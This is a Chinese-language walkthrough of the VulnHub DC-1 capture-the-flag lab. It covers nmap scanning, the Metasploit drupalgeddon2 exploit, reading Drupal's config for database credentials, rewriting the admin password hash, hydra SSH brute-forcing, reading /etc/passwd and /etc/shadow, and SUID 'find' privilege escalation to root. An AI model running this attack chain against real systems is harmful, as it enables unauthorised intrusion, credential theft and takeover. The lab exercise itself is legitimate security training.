综合实战第二章
DC-1
我们来尝试一下DC系列
环境准备
靶场下载:https://www.vulnhub.com/?page=2&q=dc
攻击机:kali 192.168.3.134
靶机:DC-1 192.168.3.162
信息搜集
老规矩,信息搜集,nmap
Linux
nmap -p- -A 192.168.3.162

image-20220429152527754
Linux
nmap -sV -p- 192.168.3.162

image-20220429152711051
打开80端口看看

image-20220429152829425
我们可以去看看这个cms有什么漏洞可以利用
Linux
msfconsole
search Drupal //搜集漏洞

image-20220429153035886
可以挨个去尝试
漏洞利用
尝试过程就不过多叙述了
测试第二个可以使用
Linux
use exploit/unix/webapp/drupal_drupalgeddon2
set rhosts 192.168.3.162
exploit

image-20220429153617061
成功
ls查看列表
Linux
ls
cat flag1.txt
得到flag1

image-20220429153715757
提权
进入之后可以去寻找别的信息
百度了一下这个cms的配置文件位置,查看
Linux
cat /var/www/sites/default/settings.php

image-20220429154355852
找到了flag2和数据库的账号密码
登录尝试
数据库登录
先美化一下界面
Linux
python -c 'import pty;pty.spawn("/bin/bash")'
登录数据库
Linux
mysql -udbuser -pR0ck3t
找一下信息
mysql
show databases;

image-20220429155156441
用这个库
mysql
use drupaldb;
show tables;

image-20220429155250311
看到有一个users
mysql
select * from users;

image-20220429155405867
插入数据
第一种方法:
可以利用他的加密工具
Linux
php scripts/password-hash.sh 123456

image-20220429160235583
然后在数据库里
mysql
update users set pass='$S$DvqJa2J5CK5sebLmCwH8AO.pAnGTZPvGTO0CLAuXDrZztNEarbuB' where name='admin';

image-20220429160953279
第二种方法:
打开msf
Linux
msfconsole
searchsploit drupal

image-20220429162403787
用这个添加用户
Linux
python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.3.162 -u test -p 123

image-20220429162635754
完成了
通过账号密码登录网站
在Dashboard里面找到了flag3

image-20220429162847675
用户
查看一下/etc/passwd
,发现flag4
Linux
cat /etc/passwd

image-20220429163109064
再查看shadow
发现没有权限
Linux
cat /etc/shadow

image-20220429163147795
破解账号
可以使用hydra
破解ssh
Linux
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz 192.168.3.162 ssh

image-20220429163431482
登录尝试
Linux
ssh flag4@192.168.3.162

image-20220429163525590
成功
root权限
先看看root目录里有啥
Linux
find /root

image-20220429163830359
找一找什么东西能用root
权限执行
Linux
find / -perm -u=s -type f 2>/dev/null

image-20220429164039746
可以利用find命令提权
Linux
find / -name abc -exec "/bin/sh" \;
whoami
cd /root
ls
cat thefinalflag.txt

image-20220429164551811
完美